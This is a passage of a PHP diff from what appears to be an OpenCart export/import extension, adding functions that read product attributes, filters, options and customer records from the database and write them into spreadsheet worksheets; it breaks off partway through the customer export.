+ $product_attribute['attribute_group_id'] = $attribute_group_id;
+ $product_attribute['attribute_id'] = $attribute_id;
+ $product_attribute['text'] = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $code = $language['code'];
+ if (isset($text[$language_id])) {
+ $product_attribute['text'][$code] = $text[$language_id];
+ } else {
+ $product_attribute['text'][$code] = '';
+ }
+ }
+ $product_attributes[] = $product_attribute;
+ }
+ }
+ }
+ return $product_attributes;
+ }
+
+
+ protected function populateProductAttributesWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('attribute_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('attribute_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data[$j++] = 'attribute_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'attribute_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data[$j++] = 'attribute_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'attribute';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'text('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product attributes data
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_names = $this->getAttributeGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_names = $this->getAttributeNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $product_attributes = $this->getProductAttributes( $languages, $min_id, $max_id );
+ foreach ($product_attributes as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data[$j++] = $row['attribute_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($attribute_group_names[$row['attribute_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data[$j++] = $row['attribute_id'];
+ } else {
+ $data[$j++] = html_entity_decode($attribute_names[$row['attribute_id']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['text'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductFilters( $min_id, $max_id ) {
+ $sql = "SELECT pf.product_id, fg.filter_group_id, pf.filter_id ";
+ $sql .= "FROM `".DB_PREFIX."product_filter` pf ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=pf.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pf.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pf.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pf.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pf.product_id ASC, fg.filter_group_id ASC, pf.filter_id ASC";
+ $query = $this->db->query( $sql );
+ $product_filters = array();
+ foreach ($query->rows as $row) {
+ $product_filter = array();
+ $product_filter['product_id'] = $row['product_id'];
+ $product_filter['filter_group_id'] = $row['filter_group_id'];
+ $product_filter['filter_id'] = $row['filter_id'];
+ $product_filters[] = $product_filter;
+ }
+ return $product_filters;
+ }
+
+
+ protected function populateProductFiltersWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 0;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = 'filter_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = 'filter_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product filters data
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->getFilterGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->getFilterNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $product_filters = $this->getProductFilters( $min_id, $max_id );
+ foreach ($product_filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = $row['filter_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_group_names[$row['filter_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = $row['filter_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_names[$row['filter_id']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getOptionDescriptions( &$languages ) {
+ // query the option_description table for each language
+ $option_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT o.option_id, od.* ";
+ $sql .= "FROM `".DB_PREFIX."option` o ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_description` od ON od.option_id=o.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY o.option_id ";
+ $sql .= "ORDER BY o.option_id ASC ";
+ $query = $this->db->query( $sql );
+ $option_descriptions[$language_code] = $query->rows;
+ }
+ return $option_descriptions;
+ }
+
+
+ protected function getOptions( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."option` ORDER BY option_id ASC" );
+ $option_descriptions = $this->getOptionDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($option_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $option_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateOptionsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('type'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The options headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'option_id';
+ $data[$j++] = 'type';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual options data
+ $i += 1;
+ $j = 1;
+ $options = $this->getOptions( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['option_id'];
+ $data[$j++] = $row['type'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getOptionValueDescriptions( &$languages ) {
+ // query the option_description table for each language
+ $option_value_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ov.option_id, ov.option_value_id, ovd.* ";
+ $sql .= "FROM `".DB_PREFIX."option_value` ov ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_value_id=ov.option_value_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ov.option_id, ov.option_value_id ";
+ $sql .= "ORDER BY ov.option_id ASC, ov.option_value_id ASC ";
+ $query = $this->db->query( $sql );
+ $option_value_descriptions[$language_code] = $query->rows;
+ }
+ return $option_value_descriptions;
+ }
+
+
+ protected function getOptionValues( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."option_value` ORDER BY option_id ASC, option_value_id ASC" );
+ $option_value_descriptions = $this->getOptionValueDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($option_value_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $option_value_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateOptionValuesWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // check for the existence of option_value.image field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_value_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_id'),4)+1);
+ if ($exist_image) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image'),12)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The option values headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'option_value_id';
+ $data[$j++] = 'option_id';
+ if ($exist_image) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image';
+ }
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual option values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getOptionValues( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['option_value_id'];
+ $data[$j++] = $row['option_id'];
+ if ($exist_image) {
+ $data[$j++] = $row['image'];
+ }
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAttributeGroupDescriptions( &$languages ) {
+ // query the attribute_group_description table for each language
+ $attribute_group_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ag.attribute_group_id, agd.* ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group` ag ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_group_description` agd ON agd.attribute_group_id=ag.attribute_group_id AND agd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ag.attribute_group_id ";
+ $sql .= "ORDER BY ag.attribute_group_id ASC ";
+ $query = $this->db->query( $sql );
+ $attribute_group_descriptions[$language_code] = $query->rows;
+ }
+ return $attribute_group_descriptions;
+ }
+
+
+ protected function getAttributeGroups( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."attribute_group` ORDER BY attribute_group_id ASC" );
+ $attribute_group_descriptions = $this->getAttributeGroupDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($attribute_group_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $attribute_group_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateAttributeGroupsWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The attribute groups headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'attribute_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] ='name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual attribute groups data
+ $i += 1;
+ $j = 1;
+ $attributes = $this->getAttributeGroups( $languages );
+ foreach ($attributes as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['attribute_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAttributeDescriptions( &$languages ) {
+ // query the attribute_description table for each language
+ $attribute_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT a.attribute_group_id, a.attribute_id, ad.* ";
+ $sql .= "FROM `".DB_PREFIX."attribute` a ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_description` ad ON ad.attribute_id=a.attribute_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY a.attribute_group_id, a.attribute_id ";
+ $sql .= "ORDER BY a.attribute_group_id ASC, a.attribute_id ASC ";
+ $query = $this->db->query( $sql );
+ $attribute_descriptions[$language_code] = $query->rows;
+ }
+ return $attribute_descriptions;
+ }
+
+
+ protected function getAttributes( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."attribute` ORDER BY attribute_group_id ASC, attribute_id ASC" );
+ $attribute_descriptions = $this->getAttributeDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($attribute_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $attribute_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateAttributesWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The attributes headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'attribute_id';
+ $data[$j++] = 'attribute_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual attributes values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getAttributes( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['attribute_id'];
+ $data[$j++] = $row['attribute_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterGroupDescriptions( &$languages ) {
+ // query the filter_group_description table for each language
+ $filter_group_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ag.filter_group_id, agd.* ";
+ $sql .= "FROM `".DB_PREFIX."filter_group` ag ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_group_description` agd ON agd.filter_group_id=ag.filter_group_id AND agd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ag.filter_group_id ";
+ $sql .= "ORDER BY ag.filter_group_id ASC ";
+ $query = $this->db->query( $sql );
+ $filter_group_descriptions[$language_code] = $query->rows;
+ }
+ return $filter_group_descriptions;
+ }
+
+
+ protected function getFilterGroups( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."filter_group` ORDER BY filter_group_id ASC" );
+ $filter_group_descriptions = $this->getFilterGroupDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($filter_group_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $filter_group_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateFilterGroupsWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The filter groups headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'filter_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] ='name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual filter groups data
+ $i += 1;
+ $j = 1;
+ $filters = $this->getFilterGroups( $languages );
+ foreach ($filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['filter_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterDescriptions( &$languages ) {
+ // query the filter_description table for each language
+ $filter_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT a.filter_group_id, a.filter_id, ad.* ";
+ $sql .= "FROM `".DB_PREFIX."filter` a ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_description` ad ON ad.filter_id=a.filter_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY a.filter_group_id, a.filter_id ";
+ $sql .= "ORDER BY a.filter_group_id ASC, a.filter_id ASC ";
+ $query = $this->db->query( $sql );
+ $filter_descriptions[$language_code] = $query->rows;
+ }
+ return $filter_descriptions;
+ }
+
+
+ protected function getFilters( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."filter` ORDER BY filter_group_id ASC, filter_id ASC" );
+ $filter_descriptions = $this->getFilterDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($filter_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $filter_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateFiltersWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The filters headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'filter_id';
+ $data[$j++] = 'filter_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual filters values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getFilters( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['filter_id'];
+ $data[$j++] = $row['filter_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getCustomers( $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ $language_id = $this->getDefaultLanguageId();
+
+ if ($exist_table_customer_group_description) {
+ $sql = "SELECT c.*, cgd.name AS customer_group FROM `".DB_PREFIX."customer` c ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=c.customer_group_id AND cgd.language_id='".(int)$language_id."' ";
+ } else {
+ $sql = "SELECT c.*, cg.name AS customer_group FROM `".DB_PREFIX."customer` c ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=c.customer_group_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.customer_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`customer_id` ";
+ $sql .= "ORDER BY c.`customer_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ return $results->rows;
+ }
+
+
+ protected function populateCustomersWorksheet( &$worksheet, &$box_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null ) {
+ // Some fields are only available in certain Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('firstname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('lastname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('email'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('telephone'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('fax'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('password'),40)+1);
+ if ($exist_salt) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('salt'),12)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('cart'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('wishlist'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('newsletter'),5)+1);
+ if ($exist_custom_field) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('custom_field'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ip'),15)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+ if ($exist_approved) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('approved'),5)+1);
+ }
+ if ($exist_safe) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('safe'),5)+1);
+ }
+ if ($exist_token) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('token'),20)+1);
+ }
+ if ($exist_code) {
